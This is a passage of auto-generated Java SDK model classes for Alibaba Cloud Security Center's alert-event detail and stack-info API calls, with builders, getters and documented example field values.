import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAlarmEventDetailResponse} extends {@link TeaModel}
*
* <p>DescribeAlarmEventDetailResponse</p>
*/
public class DescribeAlarmEventDetailResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAlarmEventDetailResponseBody body;
private DescribeAlarmEventDetailResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAlarmEventDetailResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAlarmEventDetailResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAlarmEventDetailResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAlarmEventDetailResponseBody body);
@Override
DescribeAlarmEventDetailResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAlarmEventDetailResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAlarmEventDetailResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAlarmEventDetailResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAlarmEventDetailResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAlarmEventDetailResponse build() {
return new DescribeAlarmEventDetailResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAlarmEventDetailResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAlarmEventDetailResponseBody} extends {@link TeaModel}
*
* <p>DescribeAlarmEventDetailResponseBody</p>
*/
public class DescribeAlarmEventDetailResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Data")
private Data data;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAlarmEventDetailResponseBody(Builder builder) {
this.data = builder.data;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAlarmEventDetailResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return data
*/
public Data getData() {
return this.data;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private Data data;
private String requestId;
private Builder() {
}
private Builder(DescribeAlarmEventDetailResponseBody model) {
this.data = model.data;
this.requestId = model.requestId;
}
/**
* <p>The details of the alert event.</p>
*/
public Builder data(Data data) {
this.data = data;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>7EA50837-2F0B-5BCC-AB61-4968D88D75AD</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAlarmEventDetailResponseBody build() {
return new DescribeAlarmEventDetailResponseBody(this);
}
}
/**
*
* {@link DescribeAlarmEventDetailResponseBody} extends {@link TeaModel}
*
* <p>DescribeAlarmEventDetailResponseBody</p>
*/
public static class Value extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Name")
private String name;
@com.aliyun.core.annotation.NameInMap("Type")
private String type;
@com.aliyun.core.annotation.NameInMap("Value")
private String value;
private Value(Builder builder) {
this.name = builder.name;
this.type = builder.type;
this.value = builder.value;
}
public static Builder builder() {
return new Builder();
}
public static Value create() {
return builder().build();
}
/**
* @return name
*/
public String getName() {
return this.name;
}
/**
* @return type
*/
public String getType() {
return this.type;
}
/**
* @return value
*/
public String getValue() {
return this.value;
}
public static final class Builder {
private String name;
private String type;
private String value;
private Builder() {
}
private Builder(Value model) {
this.name = model.name;
this.type = model.type;
this.value = model.value;
}
/**
* <p>The name of the field that displays the tracing information.</p>
*
* <strong>example:</strong>
* <p>sshd</p>
*/
public Builder name(String name) {
this.name = name;
return this;
}
/**
* <p>The type of the field that displays the tracing information. Valid values:</p>
* <ul>
* <li><strong>text</strong></li>
* <li><strong>html</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>html</p>
*/
public Builder type(String type) {
this.type = type;
return this;
}
/**
* <p>The value of the field that displays the tracing information.</p>
*
* <strong>example:</strong>
* <p>under a certain small probability, yundun may mistakenly judge the repeated attempts caused by the administrator forgetting or entering the wrong password as successful blasting. Please check according to the account number and time shown in the alarm details. Once it is confirmed that it is not the initiative of the administrator, it is recommended to immediately block the IP, and you can open it at the same time<a href="https://yundun.console.aliyun.com/?p=pam">PAM</a>, hosting host login password, improving remote connection efficiency and security control ability, and according to<a href="https://click.aliyun.com/m/1000226086/">best practice of ECS account security protection</a>Modify login password and convergence asset.</p>↵
*/
public Builder value(String value) {
this.value = value;
return this;
}
public Value build() {
return new Value(this);
}
}
}
/**
*
* {@link DescribeAlarmEventDetailResponseBody} extends {@link TeaModel}
*
* <p>DescribeAlarmEventDetailResponseBody</p>
*/
public static class CauseDetails extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Key")
private String key;
@com.aliyun.core.annotation.NameInMap("Value")
private java.util.List<Value> value;
private CauseDetails(Builder builder) {
this.key = builder.key;
this.value = builder.value;
}
public static Builder builder() {
return new Builder();
}
public static CauseDetails create() {
return builder().build();
}
/**
* @return key
*/
public String getKey() {
return this.key;
}
/**
* @return value
*/
public java.util.List<Value> getValue() {
return this.value;
}
public static final class Builder {
private String key;
private java.util.List<Value> value;
private Builder() {
}
private Builder(CauseDetails model) {
this.key = model.key;
this.value = model.value;
}
/**
* <p>The key that is used to trace the alert event.</p>
*
* <strong>example:</strong>
* <p>842e314e69b1a2c45d5c1a2f88a16***</p>
*/
public Builder key(String key) {
this.key = key;
return this;
}
/**
* <p>The value that is used to trace the alert event.</p>
*/
public Builder value(java.util.List<Value> value) {
this.value = value;
return this;
}
public CauseDetails build() {
return new CauseDetails(this);
}
}
}
/**
*
* {@link DescribeAlarmEventDetailResponseBody} extends {@link TeaModel}
*
* <p>DescribeAlarmEventDetailResponseBody</p>
*/
public static class Data extends TeaModel {
@com.aliyun.core.annotation.NameInMap("AlarmEventAliasName")
private String alarmEventAliasName;
@com.aliyun.core.annotation.NameInMap("AlarmEventDesc")
private String alarmEventDesc;
@com.aliyun.core.annotation.NameInMap("AlarmUniqueInfo")
private String alarmUniqueInfo;
@com.aliyun.core.annotation.NameInMap("AppName")
private String appName;
@com.aliyun.core.annotation.NameInMap("CanBeDealOnLine")
private Boolean canBeDealOnLine;
@com.aliyun.core.annotation.NameInMap("CanCancelFault")
private Boolean canCancelFault;
@com.aliyun.core.annotation.NameInMap("CauseDetails")
private java.util.List<CauseDetails> causeDetails;
@com.aliyun.core.annotation.NameInMap("ContainHwMode")
private Boolean containHwMode;
@com.aliyun.core.annotation.NameInMap("ContainerId")
private String containerId;
@com.aliyun.core.annotation.NameInMap("ContainerImageId")
private String containerImageId;
@com.aliyun.core.annotation.NameInMap("ContainerImageName")
private String containerImageName;
@com.aliyun.core.annotation.NameInMap("DataSource")
private String dataSource;
@com.aliyun.core.annotation.NameInMap("EndTime")
private Long endTime;
@com.aliyun.core.annotation.NameInMap("InstanceName")
private String instanceName;
@com.aliyun.core.annotation.NameInMap("InternetIp")
private String internetIp;
@com.aliyun.core.annotation.NameInMap("IntranetIp")
private String intranetIp;
@com.aliyun.core.annotation.NameInMap("K8sClusterId")
private String k8sClusterId;
@com.aliyun.core.annotation.NameInMap("K8sClusterName")
private String k8sClusterName;
@com.aliyun.core.annotation.NameInMap("K8sNamespace")
private String k8sNamespace;
@com.aliyun.core.annotation.NameInMap("K8sNodeId")
private String k8sNodeId;
@com.aliyun.core.annotation.NameInMap("K8sNodeName")
private String k8sNodeName;
@com.aliyun.core.annotation.NameInMap("K8sPodName")
private String k8sPodName;
@com.aliyun.core.annotation.NameInMap("Level")
private String level;
@com.aliyun.core.annotation.NameInMap("Solution")
private String solution;
@com.aliyun.core.annotation.NameInMap("StartTime")
private Long startTime;
@com.aliyun.core.annotation.NameInMap("Type")
private String type;
@com.aliyun.core.annotation.NameInMap("Uuid")
private String uuid;
private Data(Builder builder) {
this.alarmEventAliasName = builder.alarmEventAliasName;
this.alarmEventDesc = builder.alarmEventDesc;
this.alarmUniqueInfo = builder.alarmUniqueInfo;
this.appName = builder.appName;
this.canBeDealOnLine = builder.canBeDealOnLine;
this.canCancelFault = builder.canCancelFault;
this.causeDetails = builder.causeDetails;
this.containHwMode = builder.containHwMode;
this.containerId = builder.containerId;
this.containerImageId = builder.containerImageId;
this.containerImageName = builder.containerImageName;
this.dataSource = builder.dataSource;
this.endTime = builder.endTime;
this.instanceName = builder.instanceName;
this.internetIp = builder.internetIp;
this.intranetIp = builder.intranetIp;
this.k8sClusterId = builder.k8sClusterId;
this.k8sClusterName = builder.k8sClusterName;
this.k8sNamespace = builder.k8sNamespace;
this.k8sNodeId = builder.k8sNodeId;
this.k8sNodeName = builder.k8sNodeName;
this.k8sPodName = builder.k8sPodName;
this.level = builder.level;
this.solution = builder.solution;
this.startTime = builder.startTime;
this.type = builder.type;
this.uuid = builder.uuid;
}
public static Builder builder() {
return new Builder();
}
public static Data create() {
return builder().build();
}
/**
* @return alarmEventAliasName
*/
public String getAlarmEventAliasName() {
return this.alarmEventAliasName;
}
/**
* @return alarmEventDesc
*/
public String getAlarmEventDesc() {
return this.alarmEventDesc;
}
/**
* @return alarmUniqueInfo
*/
public String getAlarmUniqueInfo() {
return this.alarmUniqueInfo;
}
/**
* @return appName
*/
public String getAppName() {
return this.appName;
}
/**
* @return canBeDealOnLine
*/
public Boolean getCanBeDealOnLine() {
return this.canBeDealOnLine;
}
/**
* @return canCancelFault
*/
public Boolean getCanCancelFault() {
return this.canCancelFault;
}
/**
* @return causeDetails
*/
public java.util.List<CauseDetails> getCauseDetails() {
return this.causeDetails;
}
/**
* @return containHwMode
*/
public Boolean getContainHwMode() {
return this.containHwMode;
}
/**
* @return containerId
*/
public String getContainerId() {
return this.containerId;
}
/**
* @return containerImageId
*/
public String getContainerImageId() {
return this.containerImageId;
}
/**
* @return containerImageName
*/
public String getContainerImageName() {
return this.containerImageName;
}
/**
* @return dataSource
*/
public String getDataSource() {
return this.dataSource;
}
/**
* @return endTime
*/
public Long getEndTime() {
return this.endTime;
}
/**
* @return instanceName
*/
public String getInstanceName() {
return this.instanceName;
}
/**
* @return internetIp
*/
public String getInternetIp() {
return this.internetIp;
}
/**
* @return intranetIp
*/
public String getIntranetIp() {
return this.intranetIp;
}
/**
* @return k8sClusterId
*/
public String getK8sClusterId() {
return this.k8sClusterId;
}
/**
* @return k8sClusterName
*/
public String getK8sClusterName() {
return this.k8sClusterName;
}
/**
* @return k8sNamespace
*/
public String getK8sNamespace() {
return this.k8sNamespace;
}
/**
* @return k8sNodeId
*/
public String getK8sNodeId() {
return this.k8sNodeId;
}
/**
* @return k8sNodeName
*/
public String getK8sNodeName() {
return this.k8sNodeName;
}
/**
* @return k8sPodName
*/
public String getK8sPodName() {
return this.k8sPodName;
}
/**
* @return level
*/
public String getLevel() {
return this.level;
}
/**
* @return solution
*/
public String getSolution() {
return this.solution;
}
/**
* @return startTime
*/
public Long getStartTime() {
return this.startTime;
}
/**
* @return type
*/
public String getType() {
return this.type;
}
/**
* @return uuid
*/
public String getUuid() {
return this.uuid;
}
public static final class Builder {
private String alarmEventAliasName;
private String alarmEventDesc;
private String alarmUniqueInfo;
private String appName;
private Boolean canBeDealOnLine;
private Boolean canCancelFault;
private java.util.List<CauseDetails> causeDetails;
private Boolean containHwMode;
private String containerId;
private String containerImageId;
private String containerImageName;
private String dataSource;
private Long endTime;
private String instanceName;
private String internetIp;
private String intranetIp;
private String k8sClusterId;
private String k8sClusterName;
private String k8sNamespace;
private String k8sNodeId;
private String k8sNodeName;
private String k8sPodName;
private String level;
private String solution;
private Long startTime;
private String type;
private String uuid;
private Builder() {
}
private Builder(Data model) {
this.alarmEventAliasName = model.alarmEventAliasName;
this.alarmEventDesc = model.alarmEventDesc;
this.alarmUniqueInfo = model.alarmUniqueInfo;
this.appName = model.appName;
this.canBeDealOnLine = model.canBeDealOnLine;
this.canCancelFault = model.canCancelFault;
this.causeDetails = model.causeDetails;
this.containHwMode = model.containHwMode;
this.containerId = model.containerId;
this.containerImageId = model.containerImageId;
this.containerImageName = model.containerImageName;
this.dataSource = model.dataSource;
this.endTime = model.endTime;
this.instanceName = model.instanceName;
this.internetIp = model.internetIp;
this.intranetIp = model.intranetIp;
this.k8sClusterId = model.k8sClusterId;
this.k8sClusterName = model.k8sClusterName;
this.k8sNamespace = model.k8sNamespace;
this.k8sNodeId = model.k8sNodeId;
this.k8sNodeName = model.k8sNodeName;
this.k8sPodName = model.k8sPodName;
this.level = model.level;
this.solution = model.solution;
this.startTime = model.startTime;
this.type = model.type;
this.uuid = model.uuid;
}
/**
* <p>The name of the alert event.</p>
*
* <strong>example:</strong>
* <p>Login with unusual location</p>
*/
public Builder alarmEventAliasName(String alarmEventAliasName) {
this.alarmEventAliasName = alarmEventAliasName;
return this;
}
/**
* <p>The description of the alert event.</p>
*
* <strong>example:</strong>
* <p>The detection model finds that self-mutation is running on your server. A self-mutation Trojan is a Trojan horse program with self-mutation function. It will change its hash or copy a large number of itself to different paths, and run in the background to avoid cleaning.</p>
*/
public Builder alarmEventDesc(String alarmEventDesc) {
this.alarmEventDesc = alarmEventDesc;
return this;
}
/**
* <p>The unique identifier of the alert event.</p>
* <blockquote>
* <p>To query the details of an alert event, you must provide the unique identifier of the alert event. You can call the <a href="~~DescribeSuspEvents~~">DescribeSuspEvents</a> operation to obtain the identifier.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>9f62555666f177aa84ee1eaf465a****</p>
*/
public Builder alarmUniqueInfo(String alarmUniqueInfo) {
this.alarmUniqueInfo = alarmUniqueInfo;
return this;
}
/**
* <p>The name of the container application.</p>
*
* <strong>example:</strong>
* <p>app:msdp-uat-service</p>
*/
public Builder appName(String appName) {
this.appName = appName;
return this;
}
/**
* <p>Indicates whether the online handling of the alert event is supported. Valid values:</p>
* <ul>
* <li><strong>true</strong>: yes</li>
* <li><strong>false</strong>: no</li>
* </ul>
*
* <strong>example:</strong>
* <p>false</p>
*/
public Builder canBeDealOnLine(Boolean canBeDealOnLine) {
this.canBeDealOnLine = canBeDealOnLine;
return this;
}
/**
* <p>Indicates whether you can cancel marking the alert event as a false positive. Valid values:</p>
* <ul>
* <li><strong>true</strong>: yes</li>
* <li><strong>false</strong>: no</li>
* </ul>
*
* <strong>example:</strong>
* <p>false</p>
*/
public Builder canCancelFault(Boolean canCancelFault) {
this.canCancelFault = canCancelFault;
return this;
}
/**
* <p>An array consisting of the cause of the alert event, which can be used to trace the alert event.</p>
*/
public Builder causeDetails(java.util.List<CauseDetails> causeDetails) {
this.causeDetails = causeDetails;
return this;
}
/**
* <p>Indicates whether the Safeguard Mode For Major Activities mode is enabled.</p>
*
* <strong>example:</strong>
* <p>true</p>
*/
public Builder containHwMode(Boolean containHwMode) {
this.containHwMode = containHwMode;
return this;
}
/**
* <p>The ID of the container application.</p>
*
* <strong>example:</strong>
* <p>container_1606995441910_394868_01_000***</p>
*/
public Builder containerId(String containerId) {
this.containerId = containerId;
return this;
}
/**
* <p>The ID of the image to which the container belongs.</p>
*
* <strong>example:</strong>
* <p>cadb7a725641</p>
*/
public Builder containerImageId(String containerImageId) {
this.containerImageId = containerImageId;
return this;
}
/**
* <p>The name of the image to which the container belongs.</p>
*
* <strong>example:</strong>
* <p>jenkins/jenkins:latest</p>
*/
public Builder containerImageName(String containerImageName) {
this.containerImageName = containerImageName;
return this;
}
/**
* <p>The data source of the alert event.</p>
*
* <strong>example:</strong>
* <p>aegis_***</p>
*/
public Builder dataSource(String dataSource) {
this.dataSource = dataSource;
return this;
}
/**
* <p>The timestamp when the alert event ends. Unit: milliseconds.</p>
*
* <strong>example:</strong>
* <p>1542366542000</p>
*/
public Builder endTime(Long endTime) {
this.endTime = endTime;
return this;
}
/**
* <p>The name of the instance.</p>
*
* <strong>example:</strong>
* <p>i-wz92q7m5hsbgfhdss***</p>
*/
public Builder instanceName(String instanceName) {
this.instanceName = instanceName;
return this;
}
/**
* <p>The public IP address of the associated instance.</p>
*
* <strong>example:</strong>
* <p>172.16.XX.XX</p>
*/
public Builder internetIp(String internetIp) {
this.internetIp = internetIp;
return this;
}
/**
* <p>The private IP address of the associated instance.</p>
*
* <strong>example:</strong>
* <p>172.25.30.**</p>
*/
public Builder intranetIp(String intranetIp) {
this.intranetIp = intranetIp;
return this;
}
/**
* <p>The ID of the Kubernetes cluster.</p>
*
* <strong>example:</strong>
* <p>c562cf0d68e9749ee9fe544a7ab2f****</p>
*/
public Builder k8sClusterId(String k8sClusterId) {
this.k8sClusterId = k8sClusterId;
return this;
}
/**
* <p>The name of the Kubernetes cluster.</p>
*
* <strong>example:</strong>
* <p>TestK8sCluser</p>
*/
public Builder k8sClusterName(String k8sClusterName) {
this.k8sClusterName = k8sClusterName;
return this;
}
/**
* <p>The namespace of the Kubernetes cluster.</p>
*
* <strong>example:</strong>
* <p>sit-saic-trip</p>
*/
public Builder k8sNamespace(String k8sNamespace) {
this.k8sNamespace = k8sNamespace;
return this;
}
/**
* <p>The ID of the Kubernetes cluster node.</p>
*
* <strong>example:</strong>
* <p>i-bp14a1ay8e0aa9t0l***</p>
*/
public Builder k8sNodeId(String k8sNodeId) {
this.k8sNodeId = k8sNodeId;
return this;
}
/**
* <p>The name of the Kubernetes cluster node.</p>
*
* <strong>example:</strong>
* <p>cn-hangzhou.10.188.139.**</p>
*/
public Builder k8sNodeName(String k8sNodeName) {
this.k8sNodeName = k8sNodeName;
return this;
}
/**
* <p>The name of the Kubernetes pod.</p>
*
* <strong>example:</strong>
* <p>myapp-pod</p>
*/
public Builder k8sPodName(String k8sPodName) {
this.k8sPodName = k8sPodName;
return this;
}
/**
* <p>The severity of the alert event. Valid values:</p>
* <ul>
* <li><strong>serious</strong></li>
* <li><strong>suspicious</strong></li>
* <li><strong>remind</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>serious</p>
*/
public Builder level(String level) {
this.level = level;
return this;
}
/**
* <p>The solution to the alert event.</p>
*
* <strong>example:</strong>
* <p>An invalid logon source IP has been detected. If you recognize this logon attempt, we recommend that you add the current logon source IP to the valid logon source IP list to avoid future alerts. If you do not recognize this logon attempt, we recommend that you modify the password.</p>
*/
public Builder solution(String solution) {
this.solution = solution;
return this;
}
/**
* <p>The timestamp when the alert event starts. Unit: milliseconds.</p>
*
* <strong>example:</strong>
* <p>1542378601000</p>
*/
public Builder startTime(Long startTime) {
this.startTime = startTime;
return this;
}
/**
* <p>The alert type of the alert event. Valid values:</p>
* <ul>
* <li>Suspicious process</li>
* <li>Webshell</li>
* <li>Unusual logon</li>
* <li>Exception</li>
* <li>Sensitive file tampering</li>
* <li>Malicious process (cloud threat detection)</li>
* <li>Suspicious network connection</li>
* <li>Other</li>
* <li>Abnormal account</li>
* <li>Application intrusion event</li>
* <li>Cloud threat detection</li>
* <li>Precise defense</li>
* <li>Application whitelist</li>
* <li>Persistent webshell</li>
* <li>Web application threat detection</li>
* <li>Malicious script</li>
* <li>Threat intelligence</li>
* <li>Malicious network activity</li>
* <li>Cluster exception</li>
* <li>Webshell (on-premises threat detection)</li>
* <li>Vulnerability exploitation</li>
* <li>Malicious process (on-premises threat detection)</li>
* <li>Trusted exception</li>
* </ul>
*
* <strong>example:</strong>
* <p>Webshell</p>
*/
public Builder type(String type) {
this.type = type;
return this;
}
/**
* <p>The instance UUID of the asset.</p>
*
* <strong>example:</strong>
* <p>6690a46c-0edb-4663-a641-3629d1a9****</p>
*/
public Builder uuid(String uuid) {
this.uuid = uuid;
return this;
}
public Data build() {
return new Data(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAlarmEventStackInfoRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAlarmEventStackInfoRequest} extends {@link RequestModel}
*
* <p>DescribeAlarmEventStackInfoRequest</p>
*/
public class DescribeAlarmEventStackInfoRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("EventName")
@com.aliyun.core.annotation.Validation(required = true)
private String eventName;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Lang")
private String lang;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ResourceDirectoryAccountId")
private Long resourceDirectoryAccountId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("SourceIp")
private String sourceIp;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("UniqueInfo")
@com.aliyun.core.annotation.Validation(required = true)
private String uniqueInfo;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Uuid")
@com.aliyun.core.annotation.Validation(required = true)
private String uuid;
private DescribeAlarmEventStackInfoRequest(Builder builder) {
super(builder);
this.eventName = builder.eventName;
this.lang = builder.lang;
this.resourceDirectoryAccountId = builder.resourceDirectoryAccountId;
this.sourceIp = builder.sourceIp;
this.uniqueInfo = builder.uniqueInfo;
this.uuid = builder.uuid;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAlarmEventStackInfoRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return eventName
*/
public String getEventName() {
return this.eventName;
}
/**
* @return lang
*/
public String getLang() {
return this.lang;
}
/**
* @return resourceDirectoryAccountId
*/
public Long getResourceDirectoryAccountId() {
return this.resourceDirectoryAccountId;
}
/**
* @return sourceIp
*/
public String getSourceIp() {
return this.sourceIp;
}
/**
* @return uniqueInfo
*/
public String getUniqueInfo() {
return this.uniqueInfo;
}
/**
* @return uuid
*/
public String getUuid() {
return this.uuid;
}
public static final class Builder extends Request.Builder<DescribeAlarmEventStackInfoRequest, Builder> {
private String eventName;
private String lang;
private Long resourceDirectoryAccountId;
private String sourceIp;
private String uniqueInfo;
private String uuid;
private Builder() {
super();
}
private Builder(DescribeAlarmEventStackInfoRequest request) {
super(request);
this.eventName = request.eventName;
this.lang = request.lang;
this.resourceDirectoryAccountId = request.resourceDirectoryAccountId;
this.sourceIp = request.sourceIp;
this.uniqueInfo = request.uniqueInfo;
this.uuid = request.uuid;
}
/**
* <p>The name of the event.</p>
* <blockquote>
* <p> You can call the <a href="~~DescribeSuspEvents~~">DescribeSuspEvents</a> operation to query the names of events.</p>
* </blockquote>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>Mining program</p>
*/
public Builder eventName(String eventName) {
this.putQueryParameter("EventName", eventName);
this.eventName = eventName;
return this;
}
/**
* <p>The language of the content within the request and response. Default value: <strong>zh</strong>. Valid values:</p>
* <ul>
* <li><strong>zh</strong>: Chinese.</li>
* <li><strong>en</strong>: English.</li>
* </ul>
*
* <strong>example:</strong>
* <p>zh</p>
*/
public Builder lang(String lang) {
this.putQueryParameter("Lang", lang);
this.lang = lang;
return this;
}
/**
* <p>The Alibaba Cloud account ID of the member in the resource directory.</p>
* <blockquote>
* <p> You can call the <a href="~~DescribeMonitorAccounts~~">DescribeMonitorAccounts</a> operation to obtain the IDs.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>127608589417****</p>
*/
public Builder resourceDirectoryAccountId(Long resourceDirectoryAccountId) {
this.putQueryParameter("ResourceDirectoryAccountId", resourceDirectoryAccountId);
this.resourceDirectoryAccountId = resourceDirectoryAccountId;
return this;
}
/**
* <p>The source IP address of the request.</p>
*
* <strong>example:</strong>
* <p>192.168.XX.XX</p>
*/
public Builder sourceIp(String sourceIp) {
this.putQueryParameter("SourceIp", sourceIp);
this.sourceIp = sourceIp;
return this;
}
/**
* <p>The ID of the alert event.</p>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>1fbe8d16727f61d1478a674d6fa0****</p>
*/
public Builder uniqueInfo(String uniqueInfo) {
this.putQueryParameter("UniqueInfo", uniqueInfo);
this.uniqueInfo = uniqueInfo;
return this;
}
/**
* <p>The UUID of the server to query.</p>
* <blockquote>
* <p> You can call the <a href="~~DescribeSuspEvents~~">DescribeSuspEvents</a> operation to query the UUIDs of servers.</p>
* </blockquote>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>18b7336e-d469-473b-af83-8e5420f9****</p>
*/
public Builder uuid(String uuid) {
this.putQueryParameter("Uuid", uuid);
this.uuid = uuid;
return this;
}
@Override
public DescribeAlarmEventStackInfoRequest build() {
return new DescribeAlarmEventStackInfoRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAlarmEventStackInfoResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAlarmEventStackInfoResponse} extends {@link TeaModel}
*
* <p>DescribeAlarmEventStackInfoResponse</p>
*/
public class DescribeAlarmEventStackInfoResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAlarmEventStackInfoResponseBody body;
private DescribeAlarmEventStackInfoResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAlarmEventStackInfoResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAlarmEventStackInfoResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAlarmEventStackInfoResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAlarmEventStackInfoResponseBody body);
@Override
DescribeAlarmEventStackInfoResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAlarmEventStackInfoResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAlarmEventStackInfoResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAlarmEventStackInfoResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAlarmEventStackInfoResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAlarmEventStackInfoResponse build() {
return new DescribeAlarmEventStackInfoResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAlarmEventStackInfoResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAlarmEventStackInfoResponseBody} extends {@link TeaModel}
*
* <p>DescribeAlarmEventStackInfoResponseBody</p>
*/
public class DescribeAlarmEventStackInfoResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
